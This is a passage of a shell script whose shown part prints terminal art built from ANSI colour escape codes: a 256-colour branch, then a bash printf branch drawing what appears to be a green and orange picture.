\\e[38;5;233m▀\\e[48;5;71m\\e[38;5;232m▄\\e[48;5;71m      \\e[48;5;236m\\e[38;5;71m▄\\e[48;5;0m\\e[38;5;71m▄\\e[48;5;2m\\e[38;5;235m▄\\e[48;5;76m\\e[38;5;0m▄\\e[48;5;76m\\e[38;5;22m▄\\e[48;5;76m                    \\e[38;5;77m▄\\e[48;5;76m\\e[38;5;236m▄\\e[48;5;76m\\e[38;5;232m▄\\e[48;5;76m\\e[38;5;232m▄\\e[48;5;22m\\e[38;5;238m▄\\e[48;5;232m\\e[38;5;71m▄\\e[48;5;65m\\e[38;5;71m▄\\e[48;5;71m         \\e[0m\n              \\e[48;5;65m\\e[38;5;238m▄\\e[48;5;71m\\e[38;5;234m▄\\e[48;5;71m       \\e[48;5;235m\\e[38;5;71m▄\\e[48;5;0m\\e[38;5;71m▄\\e[48;5;232m\\e[38;5;71m▄\\e[48;5;233m\\e[38;5;238m▄\\e[48;5;65m\\e[38;5;234m▄\\e[48;5;70m\\e[38;5;232m▄\\e[48;5;77m\\e[38;5;0m▄\\e[48;5;76m\\e[38;5;232m▄\\e[48;5;76m\\e[38;5;235m▄\\e[48;5;76m\\e[38;5;237m▄\\e[48;5;76m\\e[38;5;237m▄\\e[48;5;76m\\e[38;5;65m▄\\e[48;5;76m\\e[38;5;65m▄\\e[48;5;76m\\e[38;5;22m▄\\e[48;5;76m\\e[38;5;234m▄\\e[48;5;76m\\e[38;5;232m▄\\e[48;5;76m\\e[38;5;0m▄\\e[48;5;76m\\e[38;5;0m▄\\e[48;5;71m\\e[38;5;232m▄\\e[48;5;237m\\e[38;5;236m▄\\e[48;5;233m\\e[38;5;71m▄\\e[48;5;0m\\e[38;5;71m▄\\e[48;5;234m\\e[38;5;71m▄\\e[48;5;65m\\e[38;5;71m▄\\e[48;5;71m       \\e[38;5;65m▄\\e[48;5;71m\\e[38;5;235m▄\\e[48;5;71m\\e[38;5;235m▄\\e[48;5;71m\\e[38;5;236m▄\\e[48;5;71m\\e[38;5;236m▄\\e[48;5;71m\\e[38;5;237m▄\\e[0m\n                \\e[38;5;232m▀\\e[48;5;65m\\e[38;5;236m▄\\e[48;5;71m\\e[38;5;234m▄\\e[48;5;71m            \\e[48;5;65m\\e[38;5;71m▄\\e[48;5;237m\\e[38;5;71m▄\\e[48;5;234m\\e[38;5;71m▄\\e[48;5;233m\\e[38;5;71m▄\\e[48;5;234m\\e[38;5;71m▄\\e[48;5;237m\\e[38;5;71m▄\\e[48;5;65m\\e[38;5;71m▄\\e[48;5;65m\\e[38;5;71m▄\\e[48;5;71m         \\e[38;5;237m▄\\e[48;5;71m\\e[38;5;233m▄\\e[48;5;65m\\e[38;5;8m▄\\e[0m\\e[38;5;234m▀\\e[38;5;234m▀\\e[38;5;239m▀\\e[0m\n                   \\e[38;5;234m▀\\e[38;5;236m▀\\e[48;5;71m\\e[38;5;235m▄\\e[48;5;71m\\e[38;5;234m▄\\e[48;5;71m\\e[38;5;238m▄\\e[48;5;71m\\e[38;5;65m▄\\e[48;5;71m                \\e[38;5;65m▄\\e[48;5;71m\\e[38;5;236m▄\\e[48;5;71m\\e[38;5;233m▄\\e[48;5;71m\\e[38;5;235m▄\\e[48;5;65m\\e[38;5;243m▄\\e[0m\\e[38;5;233m▀\\e[38;5;235m▀\\e[0m\n                        \\e[38;5;242m▀\\e[38;5;233m▀\\e[38;5;232m▀\\e[38;5;234m▀\\e[38;5;236m▀\\e[48;5;65m\\e[38;5;236m▄\\e[48;5;65m\\e[38;5;233m▄\\e[48;5;71m\\e[38;5;233m▄\\e[48;5;71m\\e[38;5;233m▄\\e[48;5;71m\\e[38;5;232m▄\\e[48;5;71m\\e[38;5;232m▄\\e[48;5;71m\\e[38;5;233m▄\\e[48;5;65m\\e[38;5;237m▄\\e[48;5;237m\\e[38;5;8m▄\\e[0m\\e[38;5;234m▀\\e[38;5;232m▀\\e[38;5;232m▀\\e[38;5;59m▀\\e[0m\n'\";\n  else\n    if [ -f \"/bin/bash\" ]; then\n    /bin/bash -c \"printf '\n                            \\e[38;2;26;43;21m▄\\e[38;2;58;91;50m▄\\e[48;2;116;117;116m\\e[38;2;68;119;56m▄\\e[48;2;98;98;98m\\e[38;2;86;143;70m▄\\e[48;2;98;98;98m\\e[38;2;100;153;87m▄\\e[48;2;63;65;63m\\e[38;2;102;164;86m▄\\e[48;2;46;49;44m\\e[38;2;98;168;79m▄\\e[48;2;43;45;43m\\e[38;2;91;155;75m▄\\e[48;2;61;62;61m\\e[38;2;78;137;63m▄\\e[48;2;102;101;102m\\e[38;2;64;112;52m▄\\e[0m\\e[38;2;38;67;32m▄\\e[38;2;20;35;16m▄\\e[38;2;10;20;8m▄\\e[38;2;15;21;13m▄\\e[0m\n                    \\e[38;2;49;80;41m▄\\e[38;2;73;133;59m▄\\e[48;2;20;21;20m\\e[38;2;91;163;72m▄\\e[48;2;14;27;12m\\e[38;2;96;174;76m▄\\e[48;2;51;92;41m\\e[38;2;98;177;78m▄\\e[48;2;86;155;68m\\e[38;2;98;177;78m▄\\e[48;2;96;173;77m\\e[38;2;98;177;78m▄\\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;178;78m\\e[38;2;98;177;78m▄\\e[48;2;97;175;76m\\e[38;2;98;177;78m▄\\e[48;2;93;168;74m\\e[38;2;98;177;78m▄\\e[48;2;99;163;83m\\e[38;2;97;177;77m▄\\e[48;2;99;151;86m\\e[38;2;98;177;78m▄\\e[48;2;35;57;29m\\e[38;2;98;176;78m▄\\e[48;2;19;21;19m\\e[38;2;94;169;75m▄\\e[0m\\e[38;2;70;125;56m▄\\e[0m\n             \\e[38;2;42;65;36m▄\\e[38;2;62;106;52m▄\\e[48;2;94;95;94m\\e[38;2;86;152;70m▄\\e[48;2;57;72;53m\\e[38;2;96;174;77m▄\\e[48;2;57;96;47m\\e[38;2;98;177;78m▄\\e[48;2;78;136;62m\\e[38;2;98;177;78m▄\\e[48;2;95;167;76m\\e[38;2;98;177;78m▄\\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m\\e[38;2;98;176;77m▄\\e[48;2;98;177;78m\\e[38;2;91;165;72m▄\\e[48;2;98;177;78m\\e[38;2;76;137;60m▄\\e[48;2;98;177;78m\\e[38;2;54;97;42m▄\\e[48;2;99;179;79m\\e[38;2;39;71;30m▄\\e[48;2;100;181;79m\\e[38;2;35;60;30m▄\\e[48;2;101;181;81m\\e[38;2;42;66;37m▄\\e[48;2;100;177;80m\\e[38;2;52;73;45m▄\\e[48;2;95;175;76m\\e[38;2;47;75;40m▄\\e[48;2;94;178;73m\\e[38;2;41;75;33m▄\\e[48;2;98;179;78m\\e[38;2;42;73;34m▄\\e[48;2;99;180;79m\\e[38;2;40;70;33m▄\\e[48;2;99;179;78m\\e[38;2;44;75;36m▄\\e[48;2;97;177;77m\\e[38;2;55;93;46m▄\\e[48;2;97;176;77m\\e[38;2;65;113;52m▄\\e[48;2;98;177;78m\\e[38;2;79;141;63m▄\\e[48;2;98;177;78m\\e[38;2;93;166;75m▄\\e[48;2;98;177;78m\\e[38;2;99;177;79m▄\\e[48;2;98;177;78m\\e[38;2;97;177;78m▄\\e[48;2;98;177;78m\\e[38;2;97;177;78m▄\\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;94;170;75m\\e[38;2;98;177;78m▄\\e[48;2;71;128;56m\\e[38;2;98;177;78m▄\\e[48;2;34;56;28m\\e[38;2;97;175;77m▄\\e[48;2;64;66;64m\\e[38;2;78;140;62m▄\\e[0m\n         \\e[48;2;66;112;54m\\e[38;2;98;177;78m▄\\e[48;2;80;133;66m\\e[38;2;98;177;78m▄\\e[48;2;95;162;76m\\e[38;2;98;177;78m▄\\e[48;2;96;171;76m\\e[38;2;98;177;78m▄\\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m\\e[38;2;98;176;78m▄\\e[48;2;98;177;78m \\e[48;2;98;177;78m\\e[38;2;97;176;77m▄\\e[48;2;98;177;78m\\e[38;2;96;174;76m▄\\e[48;2;98;177;78m\\e[38;2;74;130;59m▄\\e[48;2;98;176;78m\\e[38;2;32;49;27m▄\\e[48;2;95;166;76m\\e[38;2;18;29;15m▄\\e[48;2;73;126;59m\\e[38;2;65;113;53m▄\\e[48;2;40;62;34m\\e[38;2;107;209;83m▄\\e[48;2;23;43;19m\\e[38;2;77;220;42m▄\\e[48;2;32;72;22m\\e[38;2;72;218;36m▄\\e[48;2;55;155;30m\\e[38;2;73;217;37m▄\\e[48;2;71;203;38m\\e[38;2;73;217;37m▄\\e[48;2;79;212;46m\\e[38;2;73;218;37m▄\\e[48;2;81;216;48m\\e[38;2;73;218;37m▄\\e[48;2;82;220;48m\\e[38;2;73;218;37m▄\\e[48;2;79;221;44m\\e[38;2;73;218;37m▄\\e[48;2;76;219;40m\\e[38;2;73;218;37m▄\\e[48;2;76;218;40m\\e[38;2;73;218;37m▄\\e[48;2;75;213;41m\\e[38;2;73;218;37m▄\\e[48;2;79;203;48m\\e[38;2;73;218;37m▄\\e[48;2;76;175;52m\\e[38;2;73;218;37m▄\\e[48;2;52;127;33m\\e[38;2;73;218;37m▄\\e[48;2;29;75;18m\\e[38;2;73;217;37m▄\\e[48;2;19;45;12m\\e[38;2;73;218;36m▄\\e[48;2;45;74;38m\\e[38;2;65;196;33m▄\\e[48;2;76;127;62m\\e[38;2;44;132;24m▄\\e[48;2;90;158;72m\\e[38;2;16;45;10m▄\\e[48;2;97;175;77m\\e[38;2;28;50;22m▄\\e[48;2;98;177;78m\\e[38;2;80;145;64m▄\\e[48;2;98;177;78m\\e[38;2;97;175;77m▄\\e[48;2;98;177;78m\\e[38;2;97;176;77m▄\\e[48;2;98;177;78m \\e[48;2;98;177;78m\\e[38;2;98;176;78m▄\\e[48;2;98;177;78m\\e[38;2;98;177;77m▄\\e[48;2;97;173;78m\\e[38;2;98;177;78m▄\\e[48;2;69;114;56m\\e[38;2;98;177;78m▄\\e[48;2;30;38;28m\\e[38;2;103;179;83m▄\\e[0m\\e[38;2;99;149;87m▄\\e[0m\n         \\e[48;2;98;177;78m\\e[38;2;98;177;77m▄\\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m\\e[38;2;98;178;78m▄\\e[48;2;98;177;78m\\e[38;2;98;178;78m▄\\e[48;2;98;177;78m\\e[38;2;83;150;66m▄\\e[48;2;98;177;78m\\e[38;2;44;80;34m▄\\e[48;2;99;179;78m\\e[38;2;33;49;28m▄\\e[48;2;87;159;69m\\e[38;2;68;97;61m▄\\e[48;2;46;84;37m\\e[38;2;87;165;68m▄\\e[48;2;25;37;21m\\e[38;2;83;208;52m▄\\e[48;2;59;131;42m\\e[38;2;73;219;37m▄\\e[48;2;74;199;43m\\e[38;2;74;223;37m▄\\e[48;2;72;213;38m\\e[38;2;67;204;35m▄\\e[48;2;73;218;37m\\e[38;2;55;171;29m▄\\e[48;2;72;218;36m\\e[38;2;59;136;22m▄\\e[48;2;72;218;36m\\e[38;2;103;132;15m▄\\e[48;2;73;219;37m\\e[38;2;149;133;9m▄\\e[48;2;72;220;37m\\e[38;2;168;130;7m▄\\e[48;2;73;220;37m\\e[38;2;167;118;5m▄\\e[48;2;72;218;37m\\e[38;2;106;78;4m▄\\e[48;2;69;210;36m\\e[38;2;93;69;4m▄\\e[48;2;66;199;34m\\e[38;2;173;117;4m▄\\e[48;2;63;192;32m\\e[38;2;177;119;4m▄\\e[48;2;62;186;32m\\e[38;2;173;116;4m▄\\e[48;2;61;186;31m\\e[38;2;176;115;4m▄\\e[48;2;63;191;32m\\e[38;2;174;115;4m▄\\e[48;2;67;202;34m\\e[38;2;170;113;4m▄\\e[48;2;70;213;36m\\e[38;2;180;118;3m▄\\e[48;2;72;219;37m\\e[38;2;175;117;4m▄\\e[48;2;73;220;37m\\e[38;2;154;120;7m▄\\e[48;2;73;220;37m\\e[38;2;80;94;11m▄\\e[48;2;73;219;37m\\e[38;2;48;93;15m▄\\e[48;2;73;218;37m\\e[38;2;41;112;19m▄\\e[48;2;72;215;36m\\e[38;2;45;144;25m▄\\e[48;2;64;192;32m\\e[38;2;63;191;32m▄\\e[48;2;32;99;16m\\e[38;2;73;218;37m▄\\e[48;2;21;41;16m\\e[38;2;72;210;38m▄\\e[48;2;38;66;30m\\e[38;2;67;177;41m▄\\e[48;2;79;141;63m\\e[38;2;53;123;36m▄\\e[48;2;98;178;78m\\e[38;2;32;57;25m▄\\e[48;2;98;179;77m\\e[38;2;25;46;20m▄\\e[48;2;97;177;77m\\e[38;2;56;100;46m▄\\e[48;2;98;177;78m\\e[38;2;93;165;75m▄\\e[48;2;97;176;77m\\e[38;2;100;181;80m▄\\e[48;2;98;177;77m\\e[38;2;97;176;76m▄\\e[48;2;97;176;78m\\e[38;2;98;177;78m▄\\e[48;2;99;174;79m\\e[38;2;98;177;78m▄\\e[0m\n         \\e[48;2;98;178;78m\\e[38;2;46;76;38m▄\\e[48;2;100;178;80m\\e[38;2;50;69;45m▄\\e[48;2;99;176;80m\\e[38;2;35;46;33m▄\\e[48;2;82;148;65m\\e[38;2;7;9;6m▄\\e[48;2;64;117;50m\\e[38;2;35;54;30m▄\\e[48;2;42;77;34m\\e[38;2;52;107;39m▄\\e[48;2;26;46;21m\\e[38;2;80;194;52m▄\\e[48;2;34;71;26m\\e[38;2;73;216;38m▄\\e[48;2;54;133;35m\\e[38;2;67;192;32m▄\\e[48;2;81;199;52m\\e[38;2;81;158;23m▄\\e[48;2;80;218;46m\\e[38;2;100;110;11m▄\\e[48;2;66;199;33m\\e[38;2;152;98;2m▄\\e[48;2;60;157;26m\\e[38;2;220;129;1m▄\\e[48;2;80;128;18m\\e[38;2;251;145;0m▄\\e[48;2;120;110;9m\\e[38;2;255;147;0m▄\\e[48;2;154;106;4m\\e[38;2;255;147;0m▄\\e[48;2;181;114;2m\\e[38;2;255;147;0m▄\\e[48;2;230;134;0m\\e[38;2;255;147;0m▄\\e[48;2;251;144;0m\\e[38;2;255;147;0m▄\\e[48;2;254;146;0m\\e[38;2;255;147;0m▄\\e[48;2;255;147;0m \\e[48;2;163;94;0m\\e[38;2;134;78;0m▄\\e[48;2;2;1;0m\\e[38;2;58;33;0m▄\\e[48;2;13;7;0m\\e[38;2;133;76;0m▄\\e[48;2;64;38;0m\\e[38;2;12;7;0m▄\\e[48;2;250;144;0m\\e[38;2;234;135;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;249;146;0m\\e[38;2;255;147;0m▄\\e[48;2;239;143;2m\\e[38;2;255;147;0m▄\\e[48;2;223;131;1m\\e[38;2;255;147;0m▄\\e[48;2;192;120;2m\\e[38;2;255;147;0m▄\\e[48;2;130;96;5m\\e[38;2;255;147;0m▄\\e[48;2;82;88;9m\\e[38;2;255;148;0m▄\\e[48;2;62;104;15m\\e[38;2;247;147;1m▄\\e[48;2;49;132;22m\\e[38;2;212;134;3m▄\\e[48;2;57;165;32m\\e[38;2;144;95;3m▄\\e[48;2;53;117;38m\\e[38;2;74;61;8m▄\\e[48;2;50;97;39m\\e[38;2;47;60;21m▄\\e[48;2;35;56;29m\\e[38;2;47;81;33m▄\\e[48;2;17;22;15m\\e[38;2;20;34;19m▄\\e[48;2;31;50;26m\\e[38;2;48;73;42m▄\\e[48;2;55;90;47m\\e[38;2;37;56;33m▄\\e[48;2;78;132;64m\\e[38;2;21;31;18m▄\\e[48;2;95;167;78m\\e[38;2;18;26;16m▄\\e[0m\n         \\e[48;2;48;74;43m\\e[38;2;51;78;45m▄\\e[48;2;48;74;43m\\e[38;2;50;76;44m▄\\e[48;2;46;71;42m\\e[38;2;12;17;11m▄\\e[48;2;32;54;28m\\e[38;2;45;93;35m▄\\e[48;2;58;112;46m\\e[38;2;26;45;17m▄\\e[48;2;55;130;37m\\e[38;2;121;83;5m▄\\e[48;2;57;133;27m\\e[38;2;232;138;0m▄\\e[48;2;101;96;8m\\e[38;2;253;146;0m▄\\e[48;2;200;118;1m\\e[38;2;254;147;0m▄\\e[48;2;248;144;0m\\e[38;2;255;147;0m▄\\e[48;2;254;147;0m\\e[38;2;255;147;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;173;100;0m\\e[38;2;210;122;0m▄\\e[48;2;172;100;0m\\e[38;2;76;44;0m▄\\e[48;2;214;123;0m\\e[38;2;153;88;0m▄\\e[48;2;36;21;0m\\e[38;2;162;94;0m▄\\e[48;2;201;116;0m\\e[38;2;20;12;0m▄\\e[48;2;254;147;0m\\e[38;2;238;137;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;254;147;0m\\e[38;2;255;147;0m▄\\e[48;2;241;143;1m\\e[38;2;255;147;0m▄\\e[48;2;213;125;0m\\e[38;2;255;147;0m▄\\e[48;2;117;73;3m\\e[38;2;252;147;1m▄\\e[48;2;25;36;21m\\e[38;2;94;69;18m▄\\e[48;2;50;77;44m\\e[38;2;39;59;33m▄\\e[48;2;51;78;45m \\e[48;2;51;78;44m\\e[38;2;51;78;45m▄\\e[0m\n         \\e[48;2;51;78;45m\\e[38;2;50;76;44m▄\\e[48;2;40;58;34m\\e[38;2;43;36;13m▄\\e[48;2;38;37;6m\\e[38;2;240;143;2m▄\\e[48;2;149;95;6m\\e[38;2;254;147;0m▄\\e[48;2;226;134;1m\\e[38;2;255;147;0m▄\\e[48;2;253;146;0m\\e[38;2;255;147;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m\\e[38;2;243;140;0m▄\\e[48;2;116;67;0m\\e[38;2;90;52;0m▄\\e[48;2;237;137;0m\\e[38;2;254;147;0m▄\\e[48;2;248;143;0m\\e[38;2;255;147;0m▄\\e[48;2;250;144;0m\\e[38;2;255;147;0m▄\\e[48;2;45;25;0m\\e[38;2;191;110;0m▄\\e[48;2;64;36;0m\\e[38;2;32;18;0m▄\\e[48;2;245;141;0m\\e[38;2;152;87;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;254;147;0m\\e[38;2;255;147;0m▄\\e[48;2;230;140;6m\\e[38;2;254;147;0m▄\\e[48;2;25;21;7m\\e[38;2;143;86;2m▄\\e[48;2;48;74;42m\\e[38;2;39;60;34m▄\\e[48;2;51;78;45m \\e[0m\n         \\e[48;2;41;63;37m\\e[38;2;40;47;23m▄\\e[48;2;119;70;1m\\e[38;2;230;135;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;180;104;0m\\e[38;2;120;68;0m▄\\e[48;2;135;78;0m\\e[38;2;158;91;0m▄\\e[48;2;255;147;0m\\e[38;2;250;145;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m\\e[38;2;254;146;0m▄\\e[48;2;252;145;0m\\e[38;2;209;120;0m▄\\e[48;2;54;31;0m\\e[38;2;61;35;0m▄\\e[48;2;94;54;0m\\e[38;2;159;91;0m▄\\e[48;2;254;146;0m\\e[38;2;244;140;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;240;144;1m\\e[38;2;255;147;0m▄\\e[48;2;36;40;18m\\e[38;2;70;49;6m▄\\e[48;2;50;78;45m\\e[38;2;45;69;40m▄\\e[0m\n         \\e[48;2;65;48;9m\\e[38;2;98;64;6m▄\\e[48;2;255;149;0m\\e[38;2;255;147;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;254;147;0m\\e[38;2;254;146;0m▄\\e[48;2;225;130;0m\\e[38;2;175;100;0m▄\\e[48;2;210;120;0m\\e[38;2;253;146;0m▄\\e[48;2;209;121;0m\\e[38;2;254;147;0m▄\\e[48;2;86;49;0m\\e[38;2;189;109;0m▄\\e[48;2;254;146;0m\\e[38;2;142;81;0m▄\\e[48;2;255;147;0m\\e[38;2;102;59;0m▄\\e[48;2;199;115;0m\\e[38;2;69;40;0m▄\\e[48;2;244;141;0m\\e[38;2;238;138;0m▄\\e[48;2;253;146;0m\\e[38;2;184;105;0m▄\\e[48;2;200;115;0m\\e[38;2;231;134;0m▄\\e[48;2;253;147;0m\\e[38;2;254;146;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;149;98;7m\\e[38;2;215;132;5m▄\\e[48;2;35;54;32m\\e[38;2;31;42;22m▄\\e[0m\n         \\e[48;2;133;82;3m\\e[38;2;153;89;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m\\e[38;2;255;146;0m▄\\e[48;2;255;147;0m\\e[38;2;255;146;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m\\e[38;2;254;148;0m▄\\e[48;2;255;147;0m\\e[38;2;248;147;0m▄\\e[48;2;254;147;0m\\e[38;2;242;142;0m▄\\e[48;2;204;116;0m\\e[38;2;224;131;0m▄\\e[48;2;200;115;0m\\e[38;2;205;124;1m▄\\e[48;2;199;115;0m\\e[38;2;175;109;2m▄\\e[48;2;172;100;0m\\e[38;2;157;102;2m▄\\e[48;2;168;97;0m\\e[38;2;172;114;3m▄\\e[48;2;206;119;0m\\e[38;2;156;115;5m▄\\e[48;2;215;125;0m\\e[38;2;138;111;7m▄\\e[48;2;180;105;0m\\e[38;2;121;105;8m▄\\e[48;2;233;136;0m\\e[38;2;120;109;8m▄\\e[48;2;254;148;0m\\e[38;2;116;111;9m▄\\e[48;2;254;148;0m\\e[38;2;112;111;10m▄\\e[48;2;255;148;0m\\e[38;2;130;121;10m▄\\e[48;2;254;148;0m\\e[38;2;103;105;10m▄\\e[48;2;254;148;0m\\e[38;2;99;99;9m▄\\e[48;2;254;148;0m\\e[38;2;106;98;8m▄\\e[48;2;254;148;0m\\e[38;2;106;96;8m▄\\e[48;2;255;148;0m\\e[38;2;118;98;7m▄\\e[48;2;255;147;0m\\e[38;2;123;101;7m▄\\e[48;2;255;147;0m\\e[38;2;129;99;6m▄\\e[48;2;255;147;0m\\e[38;2;141;100;5m▄\\e[48;2;255;147;0m\\e[38;2;166;111;4m▄\\e[48;2;255;147;0m\\e[38;2;189;122;4m▄\\e[48;2;255;147;0m\\e[38;2;217;131;1m▄\\e[48;2;255;147;0m\\e[38;2;248;145;0m▄\\e[48;2;255;147;0m\\e[38;2;250;148;0m▄\\e[48;2;255;147;0m\\e[38;2;254;149;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;249;147;1m\\e[38;2;254;147;0m▄\\e[48;2;47;44;15m\\e[38;2;81;54;7m▄\\e[0m\n         \\e[48;2;163;95;0m\\e[38;2;176;103;0m▄\\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m \\e[48;2;255;147;0m\\e[38;2;254;147;0m▄\\e[48;2;255;147;0m\\e[38;2;250;144;0m▄\\e[48;2;255;147;0m\\e[38;2;238;146;1m▄\\e[48;2;254;147;0m\\e[38;2;170;117;4m▄\\e[48;2;252;147;0m\\e[38;2;78;65;5m▄\\e[48;2;239;144;1m\\e[38;2;36;71;11m▄\\e[48;2;220;136;2m\\e[38;2;41;122;21m▄\\e[48;2;193;124;2m\\e[38;2;59;179;31m▄\\e[48;2;178;119;4m\\e[38;2;69;210;35m▄\\e[48;2;129;104;6m\\e[38;2;73;219;37m▄\\e[48;2;67;87;10m\\e[38;2;73;219;37m▄\\e[48;2;61;106;15m\\e[38;2;73;218;37m▄\\e[48;2;52;126;21m\\e[38;2;73;218;37m▄\\e[48;2;52;150;25m\\e[38;2;73;218;37m▄\\e[48;2;58;177;30m\\e[38;2;73;218;37m▄\\e[48;2;63;194;33m\\e[38;2;73;218;37m▄\\e[48;2;66;204;34m\\e[38;2;73;218;37m▄\\e[48;2;69;212;36m\\e[38;2;73;218;37m▄\\e[48;2;72;217;36m\\e[38;2;73;218;37m▄\\e[48;2;72;219;37m\\e[38;2;73;218;37m▄\\e[48;2;73;220;37m\\e[38;2;73;218;37m▄\\e[48;2;73;220;37m\\e[38;2;73;218;37m▄\\e[48;2;73;220;37m\\e[38;2;73;218;37m▄\\e[48;2;73;220;37m\\e[38;2;73;218;37m▄\\e[48;2;73;220;37m\\e[38;2;73;218;37m▄\\e[48;2;74;220;37m\\e[38;2;73;218;37m▄\\e[48;2;73;220;37m\\e[38;2;73;218;37m▄\\e[48;2;73;219;37m\\e[38;2;73;218;37m▄\\e[48;2;72;214;36m\\e[38;2;73;218;37m▄\\e[48;2;68;207;35m\\e[38;2;73;218;37m▄\\e[48;2;65;197;34m\\e[38;2;73;218;37m▄\\e[48;2;61;185;32m\\e[38;2;73;218;37m▄\\e[48;2;51;157;27m\\e[38;2;73;218;37m▄\\e[48;2;41;125;21m\\e[38;2;73;218;37m▄\\e[48;2;40;106;18m\\e[38;2;73;218;37m▄\\e[48;2;75;92;10m\\e[38;2;73;218;37m▄\\e[48;2;76;85;10m\\e[38;2;73;219;37m▄\\e[48;2;112;94;7m\\e[38;2;72;216;36m▄\\e[48;2;162;113;5m\\e[38;2;64;194;33m▄\\e[48;2;219;131;0m\\e[38;2;50;152;26m▄\\e[48;2;231;138;1m\\e[38;2;30;65;14m▄\\e[48;2;252;147;0m\\e[38;2;106;71;5m▄\\e[48;2;97;61;4m\\e[38;2;30;31;7m▄\\e[0m\n         